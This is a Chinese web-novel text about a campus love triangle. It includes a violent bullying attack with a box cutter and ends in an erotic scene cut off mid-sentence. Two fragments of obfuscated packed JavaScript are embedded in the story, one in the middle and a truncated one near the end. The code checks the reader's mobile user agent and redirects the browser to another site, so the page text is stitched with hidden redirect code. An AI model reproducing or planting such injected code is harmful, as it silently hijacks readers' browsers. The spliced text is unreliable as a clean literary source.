这天,周洋因为社团活动外出了,两人原本约好忙完都直接回家。姚安妮直接走上前钎住晓枫的胳膊,把她带往非机动车停车场。饶晓枫害怕急了,她是尝试和姚安妮沟通,“你想要干什么?”“你和周洋是什么关系?”“他怎么跟你说的?”“他说你是她女朋友,你们不是兄妹吗?”“我喊她哥哥。”“玩得挺花。”说着,姚安妮愤怒的一个大嘴巴子甩在晓枫的右脸上,又很突然又很大力,晓枫几步踉跄,差点摔倒在地上。姚安妮气势汹汹得走过去,又用左手扯住她的头发说,“高中的时候就看你不顺眼。你凭什么跟我们一个学校?”右手连续几个拳头直接招呼在晓枫的肚子上,晓枫疼得直接就蹲在了地上。姚安妮更是不服气得一脚踏在晓枫的右肩,晓枫顺势向左倒下。正好他们一伙人都站在右边,晓枫起身就准备跑出这块树木丛生的地方。姚安妮一个手势,两个混混分别从左右架住了晓枫。姚安妮走进,又是一个巴掌,晓枫感觉到嘴里有血腥的味道。“你就是这样装柔弱,博同情?”“姚安妮,你到底想要干什么?”“想要你离开周洋。”“就算我离开周洋,他喜不喜欢你还另说。”姚安妮直接一脚踢到晓枫的左小腿上,疼得她失去平衡,两边的混混仍卖力得架起她。姚安妮不知道从哪里掏出一把美工刀,从晓枫右脸颧骨的位置往下,划到了接近嘴唇的位置。晓枫疼得哭出声来,四五厘米长的伤口有一会才渗出血来,“你们放开他”。周洋结束活动,正在回家的路上。他接到小七的电话,顿感不妙,加大油门,赶回学校。停好车,他就直奔这块地方,平时姚安妮就喜欢在堵他,然后借一步到这里来讲话。姚安妮听到周洋的声音,丝毫没有遣散众人的打算,反而更嚣张得喊着,让大家动手。那群家伙,包里都藏着工具,整齐划一的木棍。周洋护着饶晓枫,不知道自己挨了多少棒击和多少脚踢。他那一刻,只想护着身下的晓枫,希望她不要再受伤。 篮球队的几个队员,放学来拿车回家,听到树木后面有响动,就一起走过去,看到这一幕之后,队长井忠炜喊了一声,喂。这一声高亢响亮,一群人回头看过来,是一排身高180+的运动员,有6,7个。姚安妮觉得够本了,就招呼这群人撤了。在他们撤后,篮球队员们,才看到挨打的男生和他怀里的女生。几个人一起走近,察看情况。周洋已经被打得意识丧失,晓枫推着他的肩膀,喊着“周洋哥,周洋哥。” 听到这个熟悉的声音,姜文枫走在了最前头,当他和饶晓枫的眼神对上时,他读出了信任和求助。“帮我们叫救护车。”篮球队的两个队员一左一右架着周洋,姜文枫将饶晓枫打横,直接公主抱起来。他们在路边拦了辆出租车,姜文枫上了副驾位,陪同着他们,饶晓枫告诉司机去曼林医院。姜文枫从口袋里掏出纸巾,递给后座的晓枫,晓枫把纸巾按在脸上,注意力还是落在躺着的周洋身上。周洋哥,周洋哥,一声声的唤着。她的手机也不知道什么时候从口袋滑落了,她找姜文枫借了电话,打给周勇叔叔,告诉他刚才发生的事情,“我们现在在出租车上,很快到医院。嗯,大门口。谢谢叔叔。” 车到医院门口的时候,担架已经在等,周叔叔也在。晓枫一下车,周叔叔立马变了脸色,“怎么没说,你也受伤了。”“我没事,先看看周洋哥。”周勇交待了一个护士照看饶晓枫,就准备随着担架进医院。姜文枫一把抓住他的胳膊,“请先看看她!”像请求像命令。周勇轻轻剥开姜文枫的手,“请放心。”这时护士推来了轮椅,姜文枫扶饶晓枫坐下,她才发觉自己身上哪哪都是疼的,哼了一声,姜文枫也拒绝了护士的服务,推着晓枫的轮椅,进了急诊室。医生把他挡在急诊室的门口,请他在外面等。周洋右手桡骨骨折,肋骨断了两根,脑震荡,多处软组织损伤。饶晓枫面部伤,身体多处肿胀瘀血,两个人都被收入了院。 周勇把一切安置妥当,将姜文枫送到门外,试探性得问了一句“你是?”“姜文枫,姜恒的儿子,姜文清的弟弟。”他想,用这两个人的名字做自己的说明书,别人更容易理解。“谢谢你,姜文枫。你知道是什么人做的吗?”“姚安妮,''姚霸''家的千金。请好好照顾她。”“会的。”周勇送走姜文枫之后,给哥哥周骁去了个电话。 回家路上的姜文清也给哥哥去了个电话,想问问他的意见,“我想给姚家一点教训,应该怎么做?”“能不能告诉我,是什么原因?需要做到什么程度?”还没有等姜文枫说明情况,姜文清继续到,“我有电话,一会回你。”手机来电提示是周骁,“周总。”“姜世侄,有一个商业想法,想和你聊聊。你们持有的姚家的股票,能不能周一全部抛售?”“我能问问原因吗?”“姚安妮找人打伤了周洋。”“我能做什么?”“稍后,我拟一份合同给你,明早我们详谈。”“好的,周总。我等您的邮件。”“对了,谢谢你弟弟,把周洋送到医院,谢谢!”“再见!”姜文清放下电话,一分钟时间,已经有两个姜文枫的未接来电。姜文清回拨电话,“怎么样?”姜文枫没头没尾的提问,姜文清脑中闪现的画面是,自己的弟弟送周洋去医院,为了替自己的爱人报仇,需要自己这个哥哥去手刃仇人。头秃…“我也不需要知道原因,给我一天时间,明晚答复你。”姜文清只想挂掉电话,去洗把脸,让自己冷静下,这是他始料未及的剧情,太炸裂。两家最终商量的结果是,星期一开盘抛售姚家的股票,周家将所得利润的一半让渡给姜家。姜文清考虑到这个事情关系商业,关系弟弟性取向的问题,还是决定将这个事情跟父亲姜恒做了汇报。 姜恒提出去医院看望周洋,夫人姜婉,文清文枫两兄弟同行。他们同周骁夫妇约在周勇办公室。先到的姜家四个人关心了下周洋的病情,等周骁樊薇薇到了之后,就一同去了周洋的病房。推开房门,众人惊呆了,右上肢绑着石膏夹板,身上绑着肋骨固定带的周洋坐在床边,饶晓枫跪坐在病房上张牙舞爪得比划着什么,两个人都哈哈大笑。周勇给晓枫解围,“晓枫,别笑了,小心脸上的伤口。”晓枫迅速起身,周洋伸出左手去搀扶她,从病床上下来,乖乖站立着,“这是周洋,这是他妹妹晓枫。”周骁介绍着,没等他介绍姜家人,饶晓枫走到姜文枫身边,“谢谢你!”随后欠了个身。“你怎么样?”“没事,伤口缝好了,其他都没事。”晓枫又一个欠身,面对姜文清和姜恒夫妻,然后走到周洋身后。这个过程中,周洋认出了姜文枫。只是一两句对话的功夫,太有信息量了,每个人都在心里有着自己的盘算。 晓枫修整了两周时间,就返校了。再回到学校,姚安妮被开除的消息就飘进她的耳朵里,小七解释说是家族企业因为股价下跌,引发市场恐慌,间接影响公司形象、公信力和融资能力,再蔓延到投资者的信心,导致股权结构发生解构性变化,退出市场。 2012年4月23日 星期一,晓枫回到了学校,返校后,她还加入了篮球啦啦队,周洋是不理解和不支持的。自己的这个傻妞,身高,身材都不出众,根本达不到啦啦队的标准。而且,晓枫也没有表达过对啦啦队活动的兴趣。周洋只想到了一个可能,晓枫想要接近篮球队的人——姜文枫。 篮球队和啦啦队,在一个运动馆训练,左右各一边。啦啦队集合之后,教练介绍了饶晓枫,众队员三三两两的议论着。饶晓枫走进队伍,听教练关于今天训练内容的介绍。热身之前,教练跟饶晓枫说,你只参加体能训练。跑圈,瑜伽体式,核心训练,上肢力量训练,腿部力量训练…教练一直都在喊,“跟上”,“跟上”…后面的抛接,队列训练,晓枫则是全程观看。她在场地边完成拉伸后,时而坐着,时而起身走动。场地另一边篮球队的训练,也正火热。啦啦队队员休息的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033209|162346||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也是三两成群,看着篮球队训练,还小声讨论着,嬉笑着。对面,篮球队也不遑多让,男生也是会扎堆看女生,这大概是学校安排两个队伍在一起训练的原因,青春期,荷尔蒙爆棚的少男少女,是多么享受这种被注视被讨论的感觉,训练当然也更加攒劲。篮球队队长,啦啦队队长的恋情,通常被视为最郎才女貌的神话。 饶晓枫还是想念周洋的,奈何去医院就会见到他的父母,迟钝如她,也感受得到他父母的态度,是一种不赞成,又不想明确反对的态度。空闲的时间会给周洋哥发信息,发照片,病房没人的时候,才会打视频电话,表达对对方的想念。 2012年6月7日 星期四这天篮球队的训练结束得比较早,已经结束体能训练,在场边散步的晓枫立马跟教练请假,提前走了,她来不及洗澡,只换了衣服,到场馆出口去堵姜文枫。篮球队队员是不是都喜欢一起走路?这气势有点吓人,晓枫往门旁边挪了挪。姜文枫一身运动装,背着红黑的包,饶晓枫跳到他面前,还真吓得他花容失色,一瞬就恢复成面瘫脸。低头看着小小一只的女生,伸出左手握着她的下巴,把她的头抬起来转向她的左边,看她右脸的伤口,“疼不疼?”饶晓枫不曾想姜文枫会问这个,“嗯,不疼。”“缝了几针?”“12针。”“拆线了?”“拆了,五天就拆了,周叔叔说这样不容易留疤。”从场馆出来的人,都在小声议论着,特别是专门来看篮球队训练的女生们,她们没见过姜文枫主动和谁说过这么多话,甚至还有如此亲密的肢体动作。饶晓枫察觉出异样,正了正身体,“我想请你吃饭,表达感谢!”“好啊,位置我来选,明天告诉你。”“嗯。”“我先走了。”饶晓枫被这种沟通效率惊到了。她喜欢有话直说,但姜文枫的直接让她不得不佩服,也许这是一个专注的人。 饶晓枫骑自行车回到家,准备洗完澡再来糊弄点晚餐。洗完澡,她一边绑带子,一边走出卫生间的门,刚跨出门,浴袍被人猛得扯开,她吓得捂住浴袍,赶紧往楼下的方向跑,“晓枫,是我。”周洋在身后,只一步就追上她,用左手抓住她的手臂,往自己的方向拉过来。晓枫就这样被他一个手抱在怀里,好一会,她一边擦眼泪,一边撒娇得说,“周洋哥,你吓死我了。我有没有弄疼你?”周洋立马捂着自己的胸口说,“哎呀,肋骨可能又断了。”晓枫拔开他的手掌,“很疼吗?”“嗯,很疼。你看看。”周洋示意晓枫解开他的薄外套,这样的动作实在太暧昧,晓枫拉开拉链,周洋又一个眼神,晓枫伸手去掏外套内里的一个兜,里面是一张单据。晓枫拿在手上,正反看了看,只说,“这是我的住院费?”“你什么脑子?”周洋忍不住掐了一下她的屁股,“是你的学习考试费,你可以去增驾了,驾照拿了有一年了。忘了吧?你的400一直在院子里面落灰。”晓枫开心得拉着周洋的衣襟跳着扭来扭去,“谢谢周洋哥!”“你再不松手,我肋骨真的又要断了。”晚餐是晓枫做的牛排,意面,西兰花,两个人聊了很多,最后晓枫提到了,准备请姜文枫吃饭,表达谢意。“应该的。”嘴上说了三个字,内心的台词是“晓枫,你不要去找他,你是我的。但是,我又凭什么留你在我的身边呢?马上毕业了,我只能照顾你到这里了,或者姜文枫能给你更好的生活,周洋哥看得出来,姜文枫是喜欢你的,从第一次见到,我就可以肯定。只要你幸福,我可以退出。”周洋原本答应叔叔,晚上会返回医院的。但是他食言了,他舍不得离开晓枫,虽然什么都做不了,只是睡在一张床上,晓枫枕着他的左手,周洋感受到的,香香的,小小的,软软的…这是他受伤以来睡得最好的一晚。 花开两朵,各表一枝。姜文枫回家去的路上,乐不可支,他感觉自己走路都多了几分骚气。晚餐餐桌上,他强压上扬的嘴角,问哥哥文清,请人吃饭去哪里合适?“看什么人?”“女生。”“什么关系的女生?”“同学。”“想发展到什么关系?”姜文枫忍无可忍,抬头看一眼姜文清,又瞪了一眼,在一旁吃瓜的爸妈。“是不是那个女孩子?叫晓枫吧?是周晓枫吗?”“不知道。”“弟弟,你会不会认错人?”姜文枫唰得一下站起来,碰翻了没自觉后退的板凳,“不想说算了。”“你坐下。”姜文枫扶起板凳,跟爸妈说了句抱歉,又坐下了,“你想约晓枫吃饭,可以去宁海综合购物中心二楼,在母婴超市对面,有一条美食街,你挑章鱼小丸子,红豆双皮奶,冰淇淋,香草拿铁,这些她会喜欢。”“谢谢哥,我先上楼了。”姜文枫离席,另外三个人继续吃饭,姜文清感受父母的眼光,“文清,你给那个女孩装监视器了?”“女孩子一般都喜欢这些,而且那个女孩不像是喜欢正经商务餐的,以免两个人都拘谨。”姜文清战术性清清嗓子,解释到。“你这么懂,也不见你谈个女朋友。你弟弟都知道打直球,要领先你了。”“兄弟俩恋爱结婚还有前后顺序的嘛?能让你们喝上媳妇茶,抱上孙子就行。我去帮弟弟打辅助。”说完,姜文清也离开餐桌了。“婉儿,我以为文枫是个宅男,只执着于篮球,不会关注其他的事。”“是啊,他挺聪明的,知道打听周洋的大学,然后自己去考。因为周洋妹妹会跟他上同一个大学。”“你觉得那个叫晓枫的女孩是周洋的妹妹吗?”“不像,那天在病房看,她像是周洋的女朋友,她很信任周洋。我们没去的时候,两个人说说笑笑,周洋爸妈到场之后,她就站在周洋身后,周洋虽然没有说话,但是眼神都拉丝了。”“周勇也是在给她解围。”“嗯,所以,他们的恋爱关系,周骁和樊薇薇是反对的。哎,文枫的第一次恋爱就是地狱难度级的。”“如果周骁他们不同意,文枫胜算更大,毕竟以周老爷子狠辣的作风,那个没有背景的女生很难进他们家门。”“你不介意吗?”“怎么会,之前以为文枫喜欢周洋,我也没有说什么。各人自有各人福。你呢?”“我也是,我觉得跟她很有眼缘。她,好像很乖巧的样子。而且,她也叫晓枫,跟我们晓枫很有缘分。”“哈哈,我去打听下她的情况。”姜恒笑着说,姜婉提醒他,“别让文枫知道了。”不能让文枫知道,这个事情就只能交给文清。姜文清跟父母聊完,只感叹一句,终是我扛下了所有,没有我,这个家得散。 第二天,在姜文枫出门上学之后,姜文清就把情况汇报给了爸妈,那个女孩姓饶,饶晓枫,跟文枫同年,现在在宁海大学,数学系,一年级。7岁父亲失踪,17岁母亲车祸意外身亡。从小和周洋兄妹互称,因为恋爱关系引起姚安妮妒忌报复,才有之前的事情。从文枫第一次打听她的消息的时间来看,他们在高中的时候就有过交集,得去审当事人。当然三个人达成共识,还是不用去问了,问也不会有结果。妈妈姜婉挺感叹,这丫头也挺不容易的。姜恒疑惑姜文清怎么这么有效率,姜文清反问一句“你们不是说这事关系弟弟的终生幸福吗?”姜文清突然想到了,今天弟弟用的香水是CK的痴迷。 3. 我凭什么身份去要求 2012年6月8日 星期五下午篮球队和啦啦队的训练在进行着,啦啦队有四五个人在场边,因为今天主要是队列训练,没事儿的都在一边聊天。晓枫有时候也会看篮球队训练,今天姜文枫打铁的效率有点高,但是她也不懂,这是不是也是一种训练方式。 篮球队暂停训练,姜文枫走到场边拿汗巾擦了把脸,又吨吨几口功能饮料,低着头往啦啦队这边走过来,晓枫觉得他是来找自己的,也低着头往篮球队那边去了。瞬间他们就吸引了众队员和观训同学们的注意,两个人在靠近啦啦队的一边相遇,都低着头,“星期天下午3点,宁海综合购物中心5号大门口。”“好。”晓枫欠身准备离开,姜文枫也一个欠身,差点磕到起身的晓枫。这个画面,在大家眼里,就很诡异。一对男女,相对站着,都低着头,然后相互没完没了的鞠躬。 谁说,晓枫不尴尬呢?她小跑步撤退,更别提从头紧张到脚的姜文枫,回去的时候都顺拐了。晚上晓枫做了个梦,她在一片森林里,四周都是妈妈的声音,晓枫,我在这里。晓枫,我在这里。她不知道应该往哪个方向… 2012年6月10日 饶晓枫的摩托车增驾在这个星期天上午就完成了,她准备下午骑上她的400去赴约。吃完午餐,她给周洋去了一个电话,感觉很奇怪,周洋不知道在哪里,应该是说话不太方便。 饶晓枫和姜文枫在商场门口会面了,两个人都是挺运动的打扮,看起来青春洋溢,很和谐。3点,吃中饭太晚,吃晚饭太早,晓枫不知道姜文枫是有什么安排,“我们去打电动吧?”“好啊!”晓枫眉飞色舞,抬头在姜文枫脸上看到了一丝笑容。他们先来到投篮地方,姜文枫就是想先秀秀,放松下。两边投篮球的人,看着这个大高个,弹无虚发,也纷纷在游戏结束之后就离开了。 晓枫在心里花枝乱颤,这个男生确实好帅,特别是在做自己擅长的事情的时候,太有魅力了。晓枫在旁边模仿姜文枫的动作,右手五指自然分开,手心空出,左手扶着,将球置于头上,两肘自然下垂,肩关节放松。两膝微屈,上体稍前倾,重心落在两脚之间,保证垂直出手。姜文枫看到了晓枫的动作,就走到她的身后,叉开双脚,左手右手分别扶着晓枫的左手右手,辅助她投入了一个球。气氛突然暧昧起来,晓枫一时不知道说什么,就把自己的心里话突突了,你投球的动作好帅。说完,她恨不得给自己一个大嘴巴。“谢谢!”姜文枫还挺懂礼貌!“你想玩什么?” 晓枫毫不客气得带着姜文枫到开车的地方,“我喜欢这个,来试试吧。”两人选了靠边的两个座椅坐下。饶晓枫驾轻就熟选择了赛道,车辆,驾驶模式…等待游戏加载。第一局,晓枫胜。第二局,晓枫胜。第三局,晓枫胜…晓枫完全沉浸其中,一个男人拍了拍姜文枫,“兄弟,我来挑战下你女朋友。”姜文枫原本是想拒绝的,他不喜欢别人这样跟他说话,但是,有女朋友的buff,他也就不在意了。第四局,开始,饶晓枫发现身边换了一个人,“甄康。”“大小姐,你还记得我,你好久没来玩了。”“来吧。”第四局还是晓枫胜,甄康懊恼得拍了下方向盘,起身把位置还给姜文枫。 饶晓枫也起身,“甄康,我的驾照下来了,有时间去骑车。”“车买了吗?”“嗯,川崎400。”“有眼光,车不错,就是颜色,我不喜欢。”“我做了黑白改色。”“还是该夸你有眼光。我们组好局喊你。”“暑假之后啊,假期我有事。”“好。你男朋友嘛?哈哈,只能夸你有眼光。”说完甄康就走了,边走边挥手拜拜。晓枫连忙道歉,“你别介意。”“不会。”“我们去喝点东西吧?”“好啊。” 说完姜文枫陪饶晓枫进了一家咖啡馆,自己点了一杯馥芮白,给晓枫点了一杯香草拿铁。然后,转头问她“香草拿铁,可以吗?”“嗯,我喜欢。”“你先去坐吧,我一会来。”晓枫找了个靠窗的位置坐下,脱下口罩,看着收银台旁边的姜文枫。那边到病房来的时候,晓枫见到了姜家两兄弟,两兄弟长得挺像,弟弟瘦高个,虽然打篮球,但并不是特别精壮的身材,白白的,英气十足,如果是个女孩子应该很漂亮。哥哥没有弟弟高,穿着正装,身材还略健硕点,更多几分成熟男人的魅力,脸上也是标准的商务笑容。姜文枫拿来咖啡,两人陷入短暂的沉默,晓枫首先开口了,“姜文枫,谢谢你!”文枫对上晓枫的眼神,流露出疑惑。“我跟周叔叔打听过你,你别多想,只是问问你的名字。”“我还不知道你的名字。”“晓枫。”“周晓枫,不用客气!”晓枫笑出来,“我不姓周,我姓饶,饶晓枫。女汉子行不更名坐不改姓。”又是一阵爽朗的笑声。“我不是周洋的妹妹,我是她的女朋友,虽然周叔叔和樊阿姨都不喜欢我。”“我喜欢你。”“我也喜欢你,学校有好多女生都喜欢你,长得帅,球技好,又神秘。”姜文枫觉得一拳打在棉花上,他没有再继续解释这个话题。 “刚才那个是你的朋友?”“是的,我们都喜欢开车。他们带我体验过竞速摩托车,我一下就爱上了,然后买了摩托车,去年寒假考了驾照,今天上午拿到了增驾的摩托车执照。对了,我今天就是骑摩托车过来的。你想不想去兜风?”提到摩托车晓枫就停不下来。 姜文枫点点头,于是他俩就一起乘电梯去了地下停车场。座椅下面有一个给周洋哥准备的头盔,正好给姜文枫用。他们都上了车,晓枫就发动摩托车出了停车场,他们往江边往人较少的地方驶去。饶晓枫骑得并不快,她不知道姜文枫的适应情况。在一块开阔的路边,晓枫停下车,问了下姜文枫的意见,“骑快点,行不行?”姜文枫点点头。饶晓枫把姜文枫的手拉过来,环在自己的腰上,扶好,我们出发了!摩托车起步时,能明显感受到强大的推背感,仿佛身体被一股力量紧紧地按在座位上,心跳也会随之加快,这种加速的刺激感让姜文枫兴奋不已。风吹在身上,仿佛自己可以自由地在天空中翱翔。坐在摩托车后座,身体自然地依靠在晓枫的背上,这种身体上的接触会让文枫觉得安全和依赖。 他们返回商场的时候,正是晚餐的时间,晓枫问姜文枫,“晚上想吃什么?”“吃小吃。”“不用替我省钱,错过了今天也许之后就没有机会了。”“章鱼小丸子,红豆双皮奶…”晓枫指着姜文枫,“说,是不是监视我?你今天选的,全部都是我喜欢的东西。不用迁就我。”文枫更有信心了,“我也喜欢这些。” 回家后的姜文枫像一只开屏的孔雀,倒了一杯凉白开,坐到餐桌旁,嘴角比AK都难压。爸妈和哥哥都还在吃饭,一如既往他们聊他们的,姜婉给了个眼神姜恒,姜恒又示意姜文清,三人才看出来,姜文枫应该是约会去了,如果他不主动分享,什么也是问不出来的,三个人还是继续埋头吃饭。 那天过后,饶晓枫就没有出现在啦啦队,周洋也没有出现在学校,毕业典礼也没有参加。姜文枫观察了几天,甚至到饶晓枫家里去盯梢了几天,才下定决心给晓枫打去电话,只有一个甜美的女生回复他,“您拨的电话已关机。” 忙完期末考试,姜文枫已经忍得要爆炸了,他又去找哥哥帮忙。“帮我找下晓枫。联系不到她,电话关机,家里好久都没有人。”“什么时候发现的?”姜文枫说了一个差不多一个月前的日期,那算是他们第一次约会的日子。“周骁一家三口都离开宁海市,去美国了。也差不多一个月之前的事情,他妹妹是不是也一同去了?”“不知道,我找不到她。”两兄弟一起去找老爸帮忙,姜恒打了几个电话,得到的答复是,暂时没消息。 姜文枫愤怒得把桌面的一个独角兽玩偶忽倒在地毯上,就回房间了。接下来的几天,他跟上班似的,往返在晓枫家里,电动城,学校,训练场馆…来回穿梭。暑假过半,姜文枫逃了暑期前半段的集训,教练已经警告他,不可缺席八月份后面的训练,他全当没听见。 2012年7月22日 这天晚上,姜文枫带着白天寻找各个场所积累的失落感,来到饶晓枫的家里,家里居然亮着灯。 姜文枫把自行车停下,都来不及停好,直接扔在院子的地上,他冲到门前,手指毫不犹豫地按在门铃上,一个劲儿地猛按,那门铃发出的声响急促而不间断,就像他此刻急切的心情。一个熟悉得声音传来,“来了来了。”晓枫从里面打开门,姜文枫一步上了台阶,抱着晓枫,“你去哪里了?”晓枫没有挣扎,等文枫松开手,就把他让进了房间。姜文枫走在她身后,七月底,但是房间没有开空调,而且饶晓枫睡衣外面还罩着件单外套。而且外套显得很空很大,她好像瘦了。你去哪里了?干什么去了?为什么关机?为什么瘦了?…他有太多的问题要问,但这样的急切这样的关心,不符合他的人设,晓枫给他倒了杯凉白开,两人坐在沙发上。 晓枫手里端着一杯还冒着热气的水。“你有什么不舒服吗?瘦了?”“感冒了,喝药呢。”晓枫把手上杯子里黑乎乎的药汤给姜文枫看了一眼。姜文枫起身到晓枫身边,用手背试了试她额头的温度,“你在发烧。”“嗯,我在吃药,睡一觉就没事了。”“我留下来照顾你。”“随你,我上楼睡觉了。” 姜文枫给哥哥打了个电话,“发烧要怎么处理?”“吃药。”“其他的?”“有体力就去洗澡,不行就用冷毛巾敷额头,物理降温,保护大脑。”“知道了,我今晚不回家了。”“告诉我你现在在哪,万一你回不来,我至少知道你最后出现的位置。”姜文枫说完之后就挂掉了电话。 他也走上楼,有一个房间的门是关着的,他想应该是晓枫的房间,试着拧开房门,房间的灯是昏黄的色调。 天气燥热,房间没有开空调,晓枫蜷缩在床角,双手紧紧揪住被子的两角,像是抓住最后的救命稻草一般,将被子提到最上,整个身子便严严实实地裹在被子里,只露出一双紧闭的眼睛,却流着泪。那被子就像一层坚实的铠甲,把她与外界隔离。姜文枫蹲下来,看着她,心疼的感觉像一把锐利的针,一下下扎在他的心上,喉咙像是被什么哽住了,眼眶瞬间变得湿热,泪水随时都会夺眶而出。就像自己生命中最珍贵的东西正在被碾碎,泪水是这种痛苦的自然流露,无需任何的酝酿,眼睛已经湿润。待自己情绪平复,他去洗手间打湿了一条毛巾,拧干水份,叠成差不多大小的长方形,轻轻搭在晓枫的额头。可能是冷水的刺激,晓枫动了一下,伸出右手去摸额头的毛巾,姜文枫一把握住她的手,两个手交握的时候,饶晓枫短暂睁开了眼睛,用尽全身力气说了声,“别走。”姜文枫顺势盘腿坐在了床边的地上,头侧着趴在床边,左手还紧紧握着晓枫的右手,他就这样睡了一夜。 当他全身酥麻醒来的时候,发现饶晓枫已经起床,他到卫生间洗了把脸,下楼来,晓枫在院子里面扫地。饶晓枫醒来的时候,额头上的毛巾已经在枕头上了,她的汗也湿透了睡衣和床单,她顾不上这些,就看到床头趴着睡觉的姜文枫,这真是个帅气的男生,好长的睫毛,甚至还有下睫毛,高挺的鼻梁,薄薄的嘴唇,三庭五眼的比例是那么完美。 她蹑手蹑脚得下床,到楼下的卫生间换了身衣服,然后准备打扫下家里的卫生,太久没有回家了。她到院子里,停好姜文枫的自行车,擦了下摩托车。一直弯腰,腰椎还有点疼,她正了正身体,看到对面街道上站着一个男人,正看着自己。她微笑着,冲那人点点头。 姜文枫从客厅走到院子,边走边说,“你还是穿个外套吧。”他给晓枫披上外套,也注意到对面的男人,“哥。”“是你哥哥?”“嗯。”“他应该是来找你的,请他进来吧。”晓枫说完就转身进了房间,姜文枫挥手让姜文清进来,三个人一起坐在餐桌边。 还是姜文清懂他的弟弟,他带着早餐来的。饶晓枫拿出三套餐具,洗了下,摆在餐桌上,然后又到水池旁点了一支烟。她纤细的手指夹着那支细长的香烟,如同握着一件精致的艺术品。微微倾斜着头,一缕缕烟雾从她没有什么血色的双唇间缓缓吐出,像是一条灵动的白蛇蜿蜒而上。她的眼神有些迷离,望向门外的方向,那目光中透着一种难以捉摸的落寞,每一次吐烟的动作都显得那么从容不迫,仿佛周围的一切都与她无关,她只是沉浸在自己的小世界里。饶晓枫把烟蒂丢进了一个装水的塑料杯里面,看起来家里是没有人抽烟,连烟灰缸都没有。 晓枫走过来坐下的时候,坐在了姜文枫身边,开始回答昨晚他的提问,“周洋哥跟他爸爸妈妈一起走了,这是对他来说最好的选择。他毕竟是家里的长子嫡孙,周爷爷也承诺他,听从安排,完成学习,就可以继承家业。”姜文枫说,“他跟你怎么交待呢?”晓枫眼神偏向茶几上,“留下了一张银行卡。他其实不用跟我交待什么,我凭什么身份去要求?”姜文清接过话,“有什么需要帮助的,可以跟我们说。”“嗯,晓枫,你有什么打算?”饶晓枫长长舒了一口气,像是下定了某种决心,“有好多事情要做,首先恢复锻炼,暑假后半段啦啦队的训练,我会去参加;还要补课补考,上学期末的考试全部错过了;还有摩托车文化展,比赛,我想去试试,… 晓枫扳着手指头细数后面的计划。当然,还有最重要的,我们已经浪费了一个月的时间。”晓枫用右手在桌子上面牵起姜文枫的左手,“我的这些计划里都有你,你愿不愿意陪我?”姜文枫突然被点名,提起了精神,用左手手背去轻抚晓枫右脸的淡了许多的伤口,像是告诉她,脸上的伤口心里的伤口都交给我。“早餐,我去热热,大家再吃吧。”晓枫和文枫都起身,把餐盘放进微波炉里面。 这个时间,姜文清在一楼转了一圈,房子像是很久没有人住的样子,很多地方都落满了灰。墙上有一张晓枫的照片吸引了他,照片中的晓枫穿着一身黑色的连体衣,骑坐在摩托车上,她的笑容像是一道犀利而迷人的闪电,嘴角轻扬时带着无尽的性感与飒爽,那一抹笑中既有女性的妩媚,又有战士的果敢。姜文枫过来招呼哥哥去吃早餐,看到哥哥在看这张照片,文枫骄傲得说,“晓枫很喜欢摩托车,她带我兜过风,很刺激。”哥哥文清提醒他,“等二叔四叔有时间回家的时候,带晓枫一起回家,他们有共同话题可以聊。”姜文枫似乎忘了这一茬,连连点头。“谢谢!”“一家人,不客气。”听哥哥认可晓枫是一家人,文枫揉着晓枫的头发。 早餐后,姜文清去上班了,姜文枫和饶晓枫两个人,把家里简单收拾了一下。饶晓枫跟啦啦队马教练要了一份暑假训练计划,然后跟姜文枫的对了下,大部分时间也是重合的,可以一起去一起回,姜文枫有个大胆的想法。中午的时候,气温有36度,晓枫打开了空调,自己批上一件外套。靠在姜文枫的怀里,两个人睡了个午觉。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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姜文枫紧紧搂着晓枫的腰身,不停往自己身上蹭。这一抱,晓枫才觉得文枫太高了,抱着他,像挂在他的身上。两个人研究半天,才找到合适的拥抱方式,要么姜文枫叉开双腿,降低高度,这样考验他的腿部力量和核心力量。要么姜文枫坐下,晓枫坐在他的腿上,两个手环着他的脖颈,姜文枫可以顺势把脸埋在晓枫怀里。天气也热,气氛也暧昧,晓枫去房间洗澡,打开了空调。姜文枫也准备在楼下的卫生间洗澡,睡客厅的。穿着家居服的晓枫喊他用房间的卫生间,说楼下那个好久没做卫生,脏,这种机会万万不能错过。 洗漱完成,两个人穿着家居服在床上继续聊天,主要是姜文枫跟晓枫介绍他家人的情况。爸爸兄弟四个,二叔四叔都未婚,二叔对工作特别认真负责,是个严肃的人;四叔是个同性恋,喜欢摩托车,汽车,滑雪这些速度的项目,爱玩;三叔去世很多年了,文清文枫两兄弟都没有见过。哥哥比自己大11岁,所以他是哥哥带大的,有问题第一个想到哥哥,而不是爸爸妈妈。哥哥跟着爸爸,二叔一起学习公司管理,现在已经独当一面。 两个人同居之前,也不过见过三次面,彼此都并不太了解,印象中,姜文枫高冷寡言,原来内心也是柔软敏感的。笑起来也是天真可爱的,跟篮球场上那个眼神犀利的他判若两人。饶晓枫对姜文枫不抗拒,很大一部分原因,是颜控吧。她认真听他讲着,盯着他的睫毛,忽闪忽闪的,一直开心笑着。姜文枫突然停下来,饶晓枫不解,“你说啊,我很喜欢听你讲话。”姜文枫直接回了一个吻,饶晓枫拉开了两个人的距离,坐直了自己的身体。姜文枫却没有退缩,直接扑倒饶晓枫,压着她狂啃,天啊,这也太快了。同居的第一天,是要发生点什么吗?晓枫闭着眼睛,享受着文枫的吻,两个人交换着津液,被吻得全身酥麻的晓枫没有反抗的力量,也没有反抗的意识。伴随着文枫右手的不断下探,晓枫已经彻底沦陷,在文枫摸进她家居服的那一刻,晓枫背紧紧的,挺直了上半身。文枫在他耳边,喘息着,“不怕,放心交给我。”“嗯~~”这是自己的声音吗?晓枫不敢相信,这声“嗯”也太□□了。这一声应允也刺